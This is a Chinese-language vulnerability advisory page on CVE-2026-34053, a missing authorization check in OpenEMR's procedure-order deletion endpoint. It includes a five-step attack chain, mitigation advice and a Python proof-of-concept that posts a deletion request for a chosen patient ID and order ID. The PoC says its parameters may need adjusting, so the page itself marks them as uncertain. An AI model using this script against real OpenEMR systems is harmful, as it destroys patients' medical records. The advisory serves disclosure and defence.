IPBUF安全漏洞报告
English
CVE-2026-34053 CVSS 7.1 高危

CVE-2026-34053 OpenEMR越权删除漏洞

披露日期: 2026-03-26

漏洞信息

漏洞编号
CVE-2026-34053
漏洞类型
权限绕过
CVSS评分
7.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
OpenEMR

相关标签

权限绕过越权删除OpenEMRIDOR

漏洞概述

OpenEMR在8.0.0.3版本之前存在权限缺失漏洞。由于AJAX删除端点未进行适当的授权检查,任何经过身份验证的用户均可删除系统中任意患者的程序订单、答案和样本。该漏洞可能导致关键医疗数据丢失。

技术细节

该漏洞的核心在于OpenEMR的AJAX处理文件`interface/forms/procedure_order/handle_deletions.php`在处理删除请求时,仅验证了用户是否登录,而未校验用户对目标资源的所有权或操作权限。攻击者通过构造特定的HTTP POST请求,指定目标患者的ID和程序订单ID,即可绕过前端限制直接调用后端接口。由于缺乏基于角色的访问控制(RBAC)和对象层级校验,低权限用户可以执行管理员级别的删除操作。这使得攻击者能够恶意破坏医疗记录,删除关键证据或数据,造成严重的业务中断和数据丢失风险。

攻击链分析

STEP 1
1. 获取凭证
攻击者注册或获取一个低权限的OpenEMR账户(如普通患者账户)。
STEP 2
2. 识别端点
攻击者分析前端代码或网络流量,发现存在`interface/forms/procedure_order/handle_deletions.php`接口。
STEP 3
3. 构造请求
攻击者构造包含目标患者ID和订单ID的POST请求,携带自己的会话Cookie。
STEP 4
4. 执行攻击
向服务器发送请求,由于后端未校验权限,服务器直接执行删除操作。
STEP 5
5. 达成影响
目标数据被永久删除,造成数据完整性破坏和可用性丧失。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def exploit_openemr(target_url, session_cookie, target_pid, order_id): """ Exploit CVE-2026-34053: Unauthorized Deletion in OpenEMR. """ # The vulnerable endpoint endpoint = "/interface/forms/procedure_order/handle_deletions.php" # Headers with the authenticated session headers = { "Cookie": f"OpenEMR={session_cookie}", "User-Agent": "Mozilla/5.0 (Exploit Client)" } # Payload to delete a specific procedure order # Adjust parameters based on actual form requirements payload = { "mode": "delete", "pid": target_pid, # Patient ID to target "proc_order_id": order_id # Procedure Order ID to delete } try: response = requests.post(target_url + endpoint, data=payload, headers=headers) if response.status_code == 200: print(f"[+] Success: Data deleted for PID {target_pid}, Order {order_id}") print(f"[+] Response: {response.text}") else: print(f"[-] Failed: HTTP {response.status_code}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Example usage # Replace with actual target details TARGET = "http://localhost/openemr" SESSION = "valid_session_id_here" exploit_openemr(TARGET, SESSION, "1", "100")

影响范围

OpenEMR < 8.0.0.3

防御指南

临时缓解措施
如果无法立即升级,建议在服务器防火墙或应用网关(WAF)层面拦截对`/interface/forms/procedure_order/handle_deletions.php`路径的未授权访问,或者通过代码热修复在该文件入口处增加当前用户角色与目标资源所有者的比对逻辑。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表